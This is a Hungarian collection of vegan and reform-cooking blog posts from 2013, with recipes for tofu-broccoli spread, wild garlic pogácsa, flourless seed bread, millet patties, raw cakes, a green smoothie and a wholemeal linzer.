Ismét pástétomot hoztam, mert főtt ételt csupa olyat eszünk, ami már fent van a blogon (heti ebédjeink vasárnaptól: thai tészta brokkolival/ spenót + hagymás krumpli /savanyú káposztás lencsefőzelék + cukkinipörkölt. Heti reggelijeink: meggyes köleskása / áfonyás-diós kukoricakása/ körtés-diós bulgurkása). Itt ismét jelezném, hogy tervezem a heti menük készítését, csak sajnos időm nem volt még. Így most egy kis kiegészítő, de annál finomabb pástétom következik, érdemes kipróbálni, a tofukörözött alternatívájaként. Pár napja rákaptunk a brokkolira, időszakonként ránk jön a brokkoliéhség :), illetve éppen volt felbontva egy füstölt tofu, mert egyik nap hagyományos tofukőrözöttet készítettem. Nos, így született meg ennek a pástétomnak az ötlete. Hozzávalók: 30 dkg füstölt tofu 1/2 csésze víz 20 dkg párolt brokkoli 1,5-2 ek. kókuszolaj 2-3 tk. só 1/2 ek. fokhagyma granulátum 1 ek. sörélesztőpehely 2-3 ek. pirított szezámmag Elkészítés: A hozzávalókat tegyük egy tálba és turmixoljuk össze. Amennyiben szükséges, adjunk még hozzá vizet, vagy ne adjunk annyi vizet hozzá :-) (Azaz a vízmennyiséget apránként adagoljuk). A szezámmagot olaj hozzáadása nélkül, egy edényben előtte pirítsuk meg, és így adjuk a pástétomhoz, ezt is turmixoljuk hozzá. Mi frissen sült kenyérrel, pritaminpaprikával és savanyú káposztával ettük tegnap este. Hmmm, nagyon jó volt. :)
Feketeáfonyás reggeli
Melegítős, finom, édes, egészséges…. soroljam még? Vasárnapi reggeli, mert megérdemlem Hozzávalók személyenként: 1 marék zabpehely 1 ek kókuszreszelék 2 ek aszalt feketeribizli 2 ek tiszta melegvíz 1 tk házi méz Éjszakára beáztattam az áfonyát. (Ezt feketeáfonya tea formában vettem a bioboltban) Reggel összekevertem a száraz zabpelyhet a kókusszal, majd pici forróvizet öntöttem rájuk. Rákanalaztam az [...]
Magvas medvehagymás pogácsa
Ma voltunk medvehagymát szedni. Nagyon szeretjük frissen is, pl. valamilyen kenyérféle mellé.
Ha van itthon, akkor szoktam belőle pogácsát is készíteni.
Teljes kiőrlésű tönkölyliszttel és magvakkal készült.
Hozzávalók:
27 dkg teljes kiőrlésű tönkölyliszt, 10 dkg mandulaliszt (mandulatejből megmaradt), 13 dkg sima liszt, 18 dkg kókuszzsír, 1 evőkanál darált lenmag vízzel elkeverve (vagy 1 egész tojás), 5 dkg élesztő, 2 dl szójajoghurt (vagy tejföl), kb. 2,5 dl mandulatej (vagy más növényi tej), 2 teáskanál só, egy lapos evőkanálnyi méz az élesztő felfuttatásához, egy tálnyi összeaprított medvehagyma, magok: szezámmag, napraforgó mag, tökmag
Elkészítés:
Hagyományos kelt tésztaként készítjük el: A langyos mézes tejbe belemorzsoljuk az élesztőt, megvárjuk, míg felfut. Ezt összedagasztjuk a többi hozzávalóval, majd egy óra hosszat pihenni hagyjuk. Ha megkelt, ujjnyi vastagra kisodorjuk, és négyzet alakúra elvagdossuk. Tetejét megkenjük vízzel vagy kis olajjal, majd magkeverékbe hempergetjük. Sütjük, és megfalatozzuk.
Jó étvágyat!
A medvehagymáról bővebben itt olvashatsz:
Csodálatos medvehagyma
Magvakkal szórt tofus-kókuszolajos pogácsa
2013. április 2. Mindennapi ételeink
Hozzávalók: 2,5 dkg élesztő 1/2 l víz 1 ek. barna cukor -- 30 dkg teljes őrlésű liszt 30 dkg finomliszt 10 dkg kókuszolaj 20 dkg füstölt tofu 2 tk.só -- szezámmag, lenmag, szójasajt Elkészítés: Az élesztőt a barna cukros vízben felfuttatjuk. A liszteket összekeverjük, hozzáreszeljük a tofut, majd az olvasztott kókuszolajat, és alaposan összegyúrjuk. 1 óra alatt lefedve meleg helyen kelesztjük. Majd lisztezett deszkán kinyújtjuk, hajtogatjuk, várunk 10 percet, ismét hajtogatjuk, ismét 10 perc várakozás, ismét hajtogatás és el is készültünk. :-) A sütőt előmelegítjük, majd kiszaggatjuk a pogácsákat, a tetejüket megkenjük kókuszolajjal, rászórjuk a magokat, és szójasajtot reszelünk rá. Olajozott-lisztezett tepsibe tesszük és 160 fokon 30-40 perc alatt készre sütjük.
Bundázott Gabona Sonka
2013. március 28. Fittanyuka Blog
Húsvét apropóján előtérbe kerülnek a sonkák és a sonka utánzatok. Habár nem szeretem az utánzat és a helyettesítő szavakat használni, mert tapasztalatból tudom, hogy aki nem fogyaszt húst, nem azért veszi a gabona sonkát, mert kívánja a sonkát, hanem inkább a szokások miatt. Bizonyos ízek emlékeket idéznek, a sonka füstölt illatától a húsvét jut eszünkbe többek között. Ezzel a gömböccel szeretem időnként feldobni az ételek ízét, az enyhén füstös íze, jellegzetes magyaros ízvilágot varázsol az ételből. Kedvenc receptem belőle, a sárgaborsó vagy csicseri lisztből készült bundában sütött verzió. Már korábban elkészítettük az egyik főzőtanfolyamon, nagyon finom, az ünnepi, de akár a hétköznapi menü szereplője lehet. Hozzávalók: 1-2 db 200 g-os gabona gömböc, más néven gabona sonka 200 g sárgaborsó liszt vagy csicseriborsó liszt himalaya só, őrölt fehér vagy fekete bors ízlés szerint víz kókusz olaj a sütéshez A gabona sonkát vékony szeletekre vágjuk. A sárgaborsó liszt egyik felét ízlés szerint fűszerezzük, majd annyi vízzel hígítjuk, hogy palacsinta tészta vastagságú masszát kapjunk. Óvatosan öntsük hozzá a vizet, folyamatos keverés mellett, vigyázva, hogy ne maradjon csomós. Kétfázisú panírozást végzünk. Vagyis a szeleteket először megforgatjuk a sima sárgaborsó lisztben, majd belemártjuk a palacsinta tészta vastagságú masszába és a forró olajban aranybarnára sütjük. Fittanyuka
a kenyerek kenyere
2013. március 26. Vegasztrománia
nagy-nagy kedvencem sarah, a my new roots írója. szeretem a stílusát, szeretem azt, amit közvetít, szeretem, hogy vega és szeretem, hogy koppenhágában él (imádom azt a várost). és amikor azt hiszem, hogy már nem lehet fokozni a dolgot, akkor kiderül, hogy lehet (szóval többé nem állítok ilyen buta korlátokat). röviden szólva és minden túlzás nélkül az én életem is megváltozott azon a napon, amikor megláttam ezt a receptet.
tavasz van. jó, most éppen nem úgy tűnik, mert ezeket a sorokat is egy "enyhe" hóesésben írom, de utat tör magának, higgyétek el. ilyenkor őrült vágyam támad rendbe tenni a tél alatt elhanyagolt szervezetemet. és a drága jelez is rendesen, tiltakozik minden műkaja ellen, zöldséget, gyümölcsöt, gabonákat, magvakat kíván. ez a "kenyér" pedig abszolút megfelel ezeknek a kritériumoknak, nincs benne liszt, élesztő, viszont van benne sok-sok finom, izgalmas és egészséges dolog.
a hozzávalókat tekintve volt, amit már ismertem régről, de akadt egy olyan összetevő, amivel most találkoztam először. ezek bioboltokban beszerezhetők, és bár van, aminek az ára magas, sok-sok kenyérre elegendő mennyiséget tartalmaz a kicsinek tűnő kiszerelés.
psyllium útifű maghéj - "megfelelő rost mennyiség fogyasztása biztosítja szervezetének a megfelelő kiválasztást, ami az emésztőrendszer hatékony működéséhez szükséges, valamint biztosítja a szervezet számára az élelmiszerekben található minden fontos tápanyag felszívódását. egy szennyezett, bedugult emésztőrendszer megakadályozhatja az emésztés megfelelő működését. a legtöbb ember csak kb. 15 gramm rostot fogyaszt naponta, míg a megfelelő mennyiség több mint 25 gramm lenne. a rostok segítik a salakanyagok gyors távozását is a szervezetből, ezáltal hozzájárulnak egy teljes értékű egészséghez. oldható rostanyag tökéletes forrása az útifű mag, amely vízből képes a saját tömegének a hússzorosát magába szívni. ezáltal létrejön egy lágy zselé, ami elkezd felszívódni a béltraktusban. Ez segíti a toxikus anyagok eltávolítását, valamint segít megelőzni, hogy ezek az anyagok hosszú időt töltsenek a belekben. az útifű mag egy ideális forrása a rostoknak azok számára is, akik a búzára érzékenyek. nyugtató hatással bír az érzékeny belekre, amit a búza rostjai alaposan kidörzsölhetnek. az útifű maghéj teljesen természetes és biztonságos. a világon több millióan használják évről évre. a szervezet nem szívja fel, nem hat izgatóan rá, és nem okoz függőséget. ezen okok következtében alkalmas a hosszú távú használatra." (részlet a dobozáról)
ezen szuper hatások mellett ez az az anyag, ami összetartja a kenyeret, és ami miatt nem kell lisztet használnunk. megköti a folyadékot, és a kenyér teljesen összeáll. nagyon érdekes megfigyelni a folyamatot.
a chia azték zsálya mag omega 3 zsírsavak, antioxidánsok, fehérjék, élelmi rostok, vitaminok és ásványi anyagok természetes forrása.
a lenmag tartalmazza a legtisztább és legtöbb esszenciális olajat,amire a szervezetnek szüksége lehet. gazdag A, B, C, D és E vitaminban. az ásványok közül nagy mennyiségben tartalmaz káliumot, foszfort, magnéziumot, kalciumot, ként, vasat, cinket, nátriumot, klórt, mangánt, szilíciumot, rezet, fluort, alumíniumot, nikkelt, kobaltot, jódot, krómot. (forrás: harmonet)
a kenyér
hozzávalók: (1 csésze = 250 ml) 1 csésze (135 g) napraforgómag 1/2 csésze (90 g) lenmag 1/2 csésze (65 g) mogyoró, vagy mandula 1 1/2 csésze (145 g) zabpehely 2 ek chia azték zsálya mag 4 ek psyllium útifű maghéj 1 tk só 1 ek juharszirup/méz/ ennek megfelelő stevia 3 ek olvasztott kókuszzsír, vagy ghee 1 1/2 csésze (375 ml) víz
a száraz hozzávalókat egy hosszúkás sütőformába tettem, és jól összekevertem. egy tálban összekevertem a juharszirupot az olvasztott kókuszzsírral és a vízzel, majd ráöntöttem a száraz hozzávalókra, és elkevertem. az útifű maghéj beszívta a nedvességet, és a "tészta" összeállt. a tetejét elegyengettem, majd legalább 2 órát állni hagytam (közben elintéztem egy-két dolgot).
a sütőt előmelegítettem 180 °C-ra (4-es fokozat). a középső rácson sütöttem 20 percet, majd kiborítottam a sütőformából, és anélkül visszatettem (fordítva) a rácsra, és további 25-30 percig sütöttem (sütőfüggő, sarah 30-40 percet ajánl). a felszeletelés előtt hagyjuk kihűlni! zárható edényben 5 napig eláll, pirítva pedig egyenesen mennyei!
ahogy sült, és a kókuszillat kiáradt a sütőből, elkezdtem további lehetőségeken álmodozni. biztos, hogy ki fogok próbálni egy édes verziót áfonyával, és lelki szemeim előtt megjelent egy hagymás, aszalt paradicsomos, rozmaringos verzió is. hmmmm..
Medvehagymás kölesfasírt szezámosan (gluténmentes)
Indul a medvehagyma szezon, és nekem még van egy-két csomag a fagyóban a tavalyi tavasz terméséből. Olykor-olykor hasznát vettem, de még mindig jó segítség a "terülj, terülj asztalkám!"-hoz. Kölesem is van néhány kilóval. 5kg-os kiszerelésben vettük anyuval - így megtakarítottunk némi pénzt. A két bőséges hozzávaló adta az ötletet, hogy valami finomságos ételt készítsek belőlük. Fasírtra esett a választásom, hogy a hideg miatt a fák ne sírjanak.:) Nos igen, vége lehetne már a télnek és a zimankónak. Mindjárt itt a húsvét, és még mindig hóhányós hírek lengik be az internetet. Hógolyó helyett azonban most fasírt-tallérokat gyúrtam.
A recept:
Hozzávalók:
25 dkg köles
medvehagyma
ételízesítő (nekem házi)
fokhagyma
majoránna
só
szezámmag
víz
kevés olaj vagy kókuszzsír
Elkészítés:
A kölest alaposan megmossuk, majd kb 2,5szeres vízben puhára főzzük. A főzés során ételízesítőt szórunk bele. Amikor a víz elfőtt és a gabona megpuhult, belekeverjük az apróra vágott medvehagymát és fokhagymát. Ha szükséges, még sózzuk egy picit és majoránnát is adunk hozzá. Én lenmag-őrleményt is tettem bele, de ez nem kötelező. Akik a sötétebb színű fasírtokat kedvelik, fűszerpaprikát is tehetnek hozzá. A köleses masszát jól átkeverjük, korongokat formálunk belőle és szezámmagban meghempergetjük. Sütőpapíros (vagy szilikonos) tepsiben sütjük meg, de előtte a korongok tetejét egy kevés olajjal megkenjük. Kb. 20- 30 perc sütés után a korongokat megfordítjuk és még kb. 10-15 percet sütjük. Salátával, krumplipürével, kukoricás rizzsel, párolt zöldséggel is nagyon finom. De szendvicsfeltétként is fogyaszthatjuk kenyérhez vagy valamilyen (sós) péktermékhez (kifli, zsömle, stb.)
Olaszos köleslepény medvehagymás - zöldborsó pürével
Az Ízek és Érzések Magazinnak már a kezdetek óta hűséges előfizetője vagyok, és alig várom már mindig, amikor megjelenik!:-) Vannak nagyon jól, és néha kevésbé jól sikerült számaik. Ez a mostani, a 2013. március - áprilisi szám mindenképpen a jobbak közé tartozik, sok vegán, vagy könnyen vegánosítható recepttel. Illetve benne van a vegán lekváros linzer, kókuszkocka és somlói galuska receptje is!;-) Az elsőre kiválasztott recept nagyon izgalmasan hangzott a neve alapján és olyan lett a végleges ízvilága is! Másnap még finomabb volt!:-) Zöldborsó (hüvelyes) + köles (gabona) = teljes értékű fehérje! Medvehagymából készítettem korábban már: - medvehagymás pástétom - medvehagyma krémleves Olaszos köleslepény medvehagymás zöldborsópürével Elkészítési idő: kb. 60 perc Hozzávalók (4 főre, illetve nekünk rengeteg lett, még fagyasztottam is le belőle): 250 g köles 1 mk. só 50 g vöröshagyma, felaprítva 2 ek. olívaolaj 2-3 gerezd zúzott fokhagyma 50 g paradicsompüré 50 g zellergumó, finomra reszelve 150 g sárgarépa, finomra reszelve kb. 100 ml víz 1 tk. száírtott bazsalikom 1 tk. szárított oregánó 400 g fagyasztott zöldborsó 1 mk. só 1 csokor medvehagyma, finomra aprítva A kölest jól megmossuk és kb. háromszoros mennyiségű sós vízben megfőzzük, nem túl lucskosra, inkább száraz legyen. Míg a köles fő, a vöröshagymát egy kevés olajon megpároljuk, a fokhagymát, a paradicsompürét, a lereszelt zellert és a sárgarépát hozzáadjuk. Egy kevés vízzel felengedjük, a bazsalikommal és az oregánóval fűszerezzük, majd a kölessel összekeverjük. A masszát a zsiradékkal kikent kisebb tepsibe öntjük, és 180 fokon kb. 30 percig sütjük, amíg a teteje szépen pirulni kezd. Közben a zöldborsót egy kevés sós vízben megpároljuk, botmixerrel pürésítjük, és az apróra vágott medvehagymával összekeverjük, sóval, borssal ízesítjük. A megsült lepényt felszeleteljük, és a zöldborsópürét a szeletek tetejére halmozzuk.
'Agyfényező golyók' aszalt gyümölcsökből, cukormentesen
Megjelent egy kedves régi blogtárs, Gréta legújabb vegán szakácskönyve, mely életmód- és szakácskönyv is egyben. Igényes kivitelezésű könyvről van szó, és bár a könyvet még nem láttam, de ahogy Gréta korábbi munkáit ismerem, biztosan a tartalom is ilyen!:-) 150 egyszerű, gyors és ínycsiklandó recept, megannyi életmód-, és táplálkozási tipp, hogy kívül-belül szép, egészséges és kiegyensúlyozott legyél! A gyönyörű, igényes, színes kötet vásárlói ajándékként egy e-book kiegészítést, valamint kötetenként egy félórás személyes életmód tanácsadást kapnak ajándékba Gréta Konyhája Vegán Életmód-, és Szakácskönyv rendelhető az info@vipmedia.hu címen! 2013. március 28-án kóstolóval egybekötött könyvbemutatón vehettek részt Budapesten! Ez a recept már ebből a könyvből származik! Agyfényező golyók: 1 bögre darált dió 1 bögre kimagozott datolya (előző este beáztatva) 1 ek karob vagy kakaópor 1tk fahéj 2 ek kókuszreszelék (opcionális) 1 ek kókuszolaj(opcionális) Egy aprítóba tesszük és és masszává darálunk. Kezünkkel golyókat formázunk Forrás: Gréta konyhája vegán szakácskönyv
Tavaszi Székelykáposzta
2013. március 18. Fittanyuka Blog
Ez a recept újfent egy erdélyi recept, amelyet anyukám reformált át, a fűszerezés maradt és a tavaszi ízhatást a zöldfűszerektől kapta! Használhatunk tetszőleges zöldfűszert, nekem most a választásom a kapora esett. Bármelyik évszakban fogyaszthatjuk, de tény, hogy ez inkább egy télies recept. Az időjárás újra hidegre fordult tavasz ellenére és ilyenkor visszanyúlunk a táplálóbb ételekhez. Hozzávalók: ( 4 fő részére) 750 g Savanyú, vágott káposzta, természetes savanyítású, nem ecetes! 2 fej vöröshagyma 2 kk édesnemes őrölt piros paprika 1 kk őrölt kömény 1 kk himalaya só 1/2 kk őrölt fekete bors 1/2 kk morzsolt borsika fű friss kapor apróra vágva 1 db piros kaliforniai paprika 3 cikk fokhagyma 2 evőkanál kókusz olaj 8 evőkanál barna rizs előre megfőzve 250 g szejtán : Recept! A káposztát előre megfőzzük annyi vízben amennyi ellepi, éppen roppanósra. Közben a hagymát, paprikát apró kockára vágjuk és a kókusz olajon puhára pároljuk, gyakorlatilag készítünk egy pörkölt alapot, mint a hagyományos verziónál, fűszerezzük a piros paprikával, sóval, borssal, köménnyel és hozzáadjuk a felkockázott szejtánt, káposztát, főzött barna rizst, hozzáadjuk a préselt fokhagymát is. Az egészet fedő alatt 5-10 perc alatt összefőzzük. Növényi tejföllel, vagy növényi tejszínnel tálaljuk! Fittanyuka
Egyszerű nyers dió-alma torta - Nóra ma 6 hetes
2013. március 15. Napló étkeinkről, életünkről
Nóra ma 6 hetes, ami jelentős a mai orvosi gyakorlat és a Biblia szerint is. Ez alkalomból készítettem egy kis édességet, amíg nagyobb fiam babázott. A diót már tegnap beáztattam, majd kiszárítottam (az olajos magvakat a gabonához és babfélékhez hasonlóan felhasználás előtt érdemes beáztatni, így könnyebben emészthető lesz) Alapanyagok: - 30 dkg dió - kb 15 dkg mazsola - 3 alma - kb 8 dkg kókuszzsír - indiai útifűmaghéj - 1,5 teáskanál - fahéj, vanília, citromhéj Eszközök: - négyoldalú reszelő - almához, citromhéjhoz - botmixer a beáztatott mazsola pürésítéséhez - diódaráló Elkészítése: A mazsolát reggel beáztattam, majd minimális vízzel összeturmixoltam. A ledarált dióhoz annyit adtam, hogy összeálljon, majd hozzáadtam a szoba-hőmérsékletű kókuszzsírt, és ízesítettem. Ezután betettem hűtőbe, hogy kicsit keményedjen. Az almát lereszeltem, kinyomtam a levét (és megittuk), majd a megfelelő édes íz eléréséhez adagoltam hozzá a mazsolapüréből. Ezt is ízesítettem, majd apránként hozzáadtam az útifűmaghéjt, nehogy sokat tegyek bele. Közben vártam, és amikor láttam, hogy jó az állaga, rátettem a lehűlt dió alapra. Tehettem volna egész mazsolát is bele, de a kisebb fiam nem szereti. Lányommal megtanácskozván a dolgot, csak egy kevés fahéjat szórtam díszítésnek a tetejére. Nagyon finom lett. Az alma réteg legközelebb kicsit nagyobb lesz (kb dupla ekkora) a család kívánsága szerint. A nyers édességekkel sokszor az a bajom, hogy a sok olajos mag miatt nagyon tömények. Ezért próbálok kevésbé zsíros nyers édességeket kikísérletezni! És persze itt van Nóra baba is, aki már 6 hetes, kinőtte az újszülött kort :-)
Hamis keksztekercs gesztenyével
Ha már úgyis esik a hó így március idusa előtt egy nappal, és ráadásul új pápája van a világnak, gondoltam hozok valamit, ami egy kicsit a hóra is emlékeztetheti az embert - a kókusszal megszórt küllem alapján.
Igazából a legtöbb ember ismeri az alapreceptet, csak ugyebár darált keksszel szokták készíteni. Azonban a darált keksz - ha nem házi készítésű keksz - ki tudja mennyi minden adalékanyagot tartalmaz! Persze ez nem jelenti azt, hogy elvetem, mert éppenséggel, ha valaki vizsgálatot indítana:), találna itthon darált kekszet is. De az édességeket is törekszem egyre egészségesebben elkészíteni, pláne, ha olyan "(v)evők" lesznek rá, akik hasonlóan jobb minőségben igyekeznek élni, étkezni.
Szóval hamis keksztekercs, mert keksz helyett zabpehely az alapja. Margarinos krém helyett pedig gesztenyepüré gyümölccsel gazdagítva.
A recept:
Hozzávalók:
1 adag zabpehely (pl. 1/4 kg)
víz
cikória vagy gabonakávé
karob- vagy kakaópor
gesztenyepüré
édesítőszer (gyümölcscukor, xilit, méz, nyírfacukor, barnacukor - ki mit használ)
gyümölcs (jelenleg édes narancs és mandarin, de meggyel vagy szilvával is nagyon finom!)
kókuszreszelék
alufólia
Elkészítés:
Apró szemű zabpehellyel dolgozzunk. A gesztenyepürét a fagyasztott állapotából olvasszuk ki. Főzzünk, készítsünk kávét a gabonakávéból vagy cikóriából. Vannak instant kávék és forrázós eljárással készíthetők. Kinek milyen van. A zabpehelyre szórjuk valamennyi (kb. 2-3 evőkanál) karobot (kakaóból kevesebb kell, de dolgozhatunk mindkettővel is). Édesítsük, majd öntsük rá szép lassan a kávét. Közben keverve, figyelve, hogy mennyi folyadékot vesz fel a száraz alapanyag. Amikor az egész már összeáll és egy nagy gombócot tudunk belőle gyúrni, akkor vegyük elő az alufóliánkat, egy nagyobb ívet tépjünk le róla. A munkaasztalra fektetve szórjunk az alufóliára kókuszreszeléket, majd a zabpehelyből készült barna masszát sodrófa és a kezünk segítségével egyengessük el. Amikor nagyjából téglalap alakúra sikerült kinyújtani, akkor a kiolvadt gesztenyepürét el tudjuk simítani rajta. Az elsimított gesztenyére pedig egyszerűen egy sorban ráhelyezzük a gyümölcsöt. Én túl sokat raktam rá - nehéz volt feltekerni, így mindig levettem egy keveset belőle. Szóval nem sok gyümölcs kell hozzá. Végül a masszát feltekerjük a fólia segítségével is. Az kész rudat így eleve fóliával takarjuk be és mehet a hűtőbe, ahol egy éjszakát vagy néhány órát "pihen". Közvetlenül tálalás előtt érdemes kivenni és szeletekre vágni. Sütievők számától függően az adagot duplázhatjuk. Fél kg zabpehelyhez két gesztenyepüré kell.
Egyszerű nyers répatorta
2013. március 11. Napló étkeinkről, életünkről
Egy kis édességre vágytam pénteken, ezért készítettem répatortát. Kevés dolog kellett hozzá: 2 nagy répa + 1 alma sajtreszelőn lereszelve mazsola indiai útifűmaghéj - 2 teáskanállal tettem, de kevesebb is elég lett volna fahéj, vanília Ezeket összekevertem, majd egy kis tortaforma aljára simítottam. Tetejére: felolvasztott kókuszzsír, kakaópor, és egy kevés barnacukor keverékét tettem. De enélkül is finom. A gyerekeimnek is ízlett, bár csinálhattam volna édesebbre is :-)
Padlizsán gombócok grillezett polentával
2013. március 10. Fittanyuka Blog
Sokszor fejtörést okoz, hogy milyen fő fogást varázsoljunk a családi asztalra, amely a lúgosítás és egészség keretei között marad. Az alábbi fogást inkább egy vasárnapi főételként ajánlanám, mert a kicsit időigényes a padlizsánok el- és előkészítése, de megéri a fáradságot. Gluténmentes fogás! Padlizsán gombócok sajttal töltve: ( 4 főre) Hozzávalók: 1 közepes méretű padlizsán hosszában kb. 1 cm vastag szeletekre vágva 4 gerezd fokhagyma 350 g növényi sajt 1 cm szeletekre vágva 4-6 evőkanál hidegen sajtolt olíva olaj 1 teáskanál morzsolt oregano levél 1 kk himalaya só 1 evőkanál citromlé néhány karika citrom 1 evőkanál apróra vágott petrezselyem zöld kevés kókusz olaj a sütéshez Aki fogyaszt kecske sajtot azzal is megtöltheti a padlizsánokat. Én nem szeretem az intenzív ízét, így maradtam az olvadós, nem hidrogenizált növényi sajtnál. A padlizsánokat hosszant 1 cm-es szeletekre vágjuk. Az olajjal, oregánoval, citromlével, sóval, 4 cikk préselt fokhagymával pácot készítünk és egyenként belemártjuk a padlizsán szeleteket, lefóliázzuk és 1 órára a hűtőben pihentetjük. Közben elkészítjük a polentát: Grillezett polenta: Hozzávalók: 200 g kukorica dara 3szoros mennyiségű víz 1-2 kk himalaya só 3-4 cikk fokhagyma kevés kókusz olaj a grillezéshez A kukorica darát a lobogó sós vízben, állandó keverés mellett keménnyé főzzük. Egy kb. 30X30-as tepsit kiolajozunk és beleöntjük a masszát, a sütőt pirító, grillező fokozatra tesszük és 15 percre be helyezzük a sütőbe, inkább csak szárítjuk a polentát. Majd négyzetekre vágjuk és kihűlés után egy tapadás mentes edényben egyenként, mindkét oldalukat forró kókusz olajon pirosra sütjük. A padlizsán szeleteket egy tűzálló tálba helyezzük, lefedve szintén a sütőbe helyezzük és 15 percig pároljuk. Miután kihűltek, lecsöpögtetjük és vékony sajtszeleteket helyezünk a szeletekre, feltekerjük őket, fogpiszkálóval rögzítjük és egyenként egy tapadás mentes edényben minden oldalukat pirosra pirítjuk! Én néhány citrom karikát is grilleztem mellé, igazi mediterrán íz világ! Friss, vegyes zöld salátával és a grillezett polentával tálaljuk. Fittanyuka
Reformsütemények
2013. március 5. Lét-tudatos konyha
Édességek, sütemények készítésekor részben teljes kiőrlésű lisztet, a fehér cukor helyett valamilyen más édes ízforrást, pl. nádcukrot, nyírfacukrot (xilitet), ritkán mézet használok. Mivel ezek tojás nélkül készülnek, ezért a teljes kiőrlésű liszttől kicsit tömörebbek lesznek, mint a megszokott módon készülő társaik. Ha egy hagyományos édességből, süteményből (rácsos linzer, lúdlábtorta, somlói galuska, kókuszos kocka) indulok ki és azt ,,reformosítom, akkor úgy változtatom meg a hozzávalókat, hogy az eredetileg előírt 1 tojást kihagyom. Ha több tojást ír elő a recept, akkor minden tojás helyett egy evőkanál olajat használok (mivel a tojás is olajos szerkezetű) és valamilyen lazítóanyagot: szódabikarbóna, sütőpor teszek bele, amit a liszttel elkeverek. Ezenkívül citromlevet adok hozzá, ami ezzel a lazítóanyaggal kölcsönhatásba lép. Ha tejet is tartalmazó (vagyis lakto vegetariánus) sütemény készül, akkor teszek hozzá joghurtot, mely szintén lazítja a tészta állagát. Természetesen ez így egy nagyon általános leírás a hagyományos összetevők reformosítására, és nem lehet egy kaptafára venni, hiszen minden sütemény más és más. A gyakorlat során viszont ki lehet kísérletezni, hogy melyikük készítésének mi a titka. Időnként készsüteményt vásárolok, mert kíváncsi vagyok, hogy milyen ízű lehet és kedvet kapva talán készítsek majd egy hozzá hasonlót. A Vegafood kínálatából a következők nyerték el a tetszésemet: somlói galuska, orosz krémtorta szelet, citromos mignon, citromos-túrós szelet, mézes krémes.
Vegán banános zöld turmix + a negyedik hét cukor nélkül és a nyeremények
2013. március 4. Zizi kalandjai
Kicsit megkésve érkezik a negyedik cukormentes hét beszámolója, de örömmel jelentem, hogy sikeresen lezártuk a kihívást! Ha hiszitek, ha nem, vegyesek az érzelmeim. Nem volt hurrá és örömtánc, hogy végre újra ehetünk csokit, meg croissant, meg édes dolgokat. Inkább attól féltem, hogy ha újra elszaladna velem a ló, hogyan állítom majd meg?! Csakis önfegyelemmel és tudatossággal tudom.
A hétvégén volt egy kis bűnözés, de a mai napon eddig nem ettem semmi cukrosat és tervezem, hogy nem is fogok. Igyekszem megtalálni az egyensúlyt, a harmóniát, hogy ne vigyem túlzásba a cukor fogyasztást, de ne is görcsöljek rá, ha véletlenül cukor kerül az étrendembe. Úgy gondolom, ha tudatosan odafigyelek rá, akkor mindez megvalósítható.
Az biztos, hogy az ízlelőbimbóink sokkal kifinomultabbak lettek. Minden sokkal édesebbnek tűnik, még egy banán és egy alma is, nem beszélve egy cukrászdai gesztenyepüréről (hétvégi bűnözés tapasztalata). Az egy hónap tapasztalata még az is, hogy nagyon sok minden ehető cukor nélkül! Vannak olyan sütemények, palacsinták, amelyeknél nem is hiányzik a cukor és egyéb édesítő, így hogy kipróbáltuk nélküle. Még szilvásgombócot is ettünk úgy, hogy anya cukormentes szilvalekvárját tettük a gombócokba. Elsőre élvezetesebb lett volna egy kis porcukorral megszórva, de másodszori evésre már nem hiányzott róla a cukor. És ez jó! Tettünk az egészségünkért, néhány gombát elüldöztünk a szervezetünkből és még tanultunk is!
A legjobban annak örülök, hogy rajtunk kívül sokan bevállalták a cukormentes kihívást és hősiesen végig is csinálták. Minden heti beszámolónál jeleztem, hogy ezt nyereménnyel fogom honorálni (nem sorsolás lesz, hanem én fogok választani nyerteseket és nem biztos, hogy olyan személyeket, akik pontosan a mi szabályaink szerint jártak el). Eddig mindenről esett már szó, csak a nyereményekről nem, pedig lehet, hogy ösztönzően hatottak volna, ha hamarabb megosztom veletek. Mindenesetre most itt sorakoznak és várják a gazdáikat. Én pedig hagyok időt nektek, hogy aki esetleg elmaradt korábbi beszámolók vagy kommentek megírásával, az most pótolja és harcba szálljon a nyereményekért (feladat: néhány soros beszámoló komment formájában a heti bejegyzések végén vagy a saját blogokon megírt beszámoló linkjének az elküldése emailben).
1. ajándék: 3 részes sütő- vagy tálaló szett fonott alátétekkel (a nyertes személyesen veheti át Budapesten).
2. ajándék: Ernyey Béla-Balaton Dóra: Ünnepek és Hétköznapok című szakácskönyve (a nyertes személyesen veheti át Budapesten).
3. ajándék: egy adag cukormentes kókuszos datolya energia golyók (a nyertes személyesen veheti át Budapesten, de ezt az ajándékot akár postázom is).
Akik a negyedik cukormentes hétről beszámoltak:
- Boglárka - Önismereti kalandtúra
- Eszter (Dublinból csatlakozott a kihíváshoz), negyedik heti beszámoló
- Zsuzsa - Zsuzska receptjei
Azért a recept sem marad el...
Vegán banános zöld turmix
Hozzávalók 2 főre:
- 500 ml mandulatej (vagy egyéb növényi tej)
- 1 banán
- 1 maréknyi spenót (vagy mángold vagy leveleskel vagy egyéb semleges ízű zöld)
A hozzávalókat tegyük a turmixgépbe, turmixoljuk 5 percig. Ha túl sűrűnek találjuk, hígítsuk még egy kevés mandulatejjel.
Hétköznap reggelente szinte mindig valamilyen turmixot, smoothie-t iszunk és a délelőtt folyamán is csak gyümölcsöt fogyasztunk, vizet valamint teát iszunk. Rengeteg változatot készítettem már korábban, vannak olyanok is, amelyek nem kerültek fel a blogra. Ez egy nagyon egyszerű, tartalmas változat, érdemes kipróbálni.
Reform linzer teljes kiőrlésű lisztből
Linzert még talán nem is készítettem reform módon, így most kipróbáltam.
Finom lett, kicsit porhanyósabb, mint a hagyományos változat, hiszen nincs benne tojás, és a zsiradék sem vaj vagy margarin, hanem kókuszzsír, és ezek a tényezők teszik kicsit szárazabbá, porhanyósabbá a tésztát.
Viszont érdemes kipróbálni!
Hozzávalók a tésztához:
20 dkg teljes kiőrlésű tönkölyliszt, fél tasak foszfátmentes sütőpor, 10 dkg nyírfacukor (xilit) (vagy 5-5 dkg méz-xilit keverék), fél citrom leve, kb. 3 lapos evőkanálnyi lenmag (pl. sárga arany lenmag), kb. fél dl víz
Tészta elkészítése:
A teljes kiőrlésű tönkölylisztet összekeverjük a sütőporral, majd a többi alapanyagot hozzáadjuk, és alaposan összegyúrjuk. A kókuszzsírt jobb, ha felhasználás előtt egy picit meglangyítjuk, így kézzel könnyebben eldolgozható.
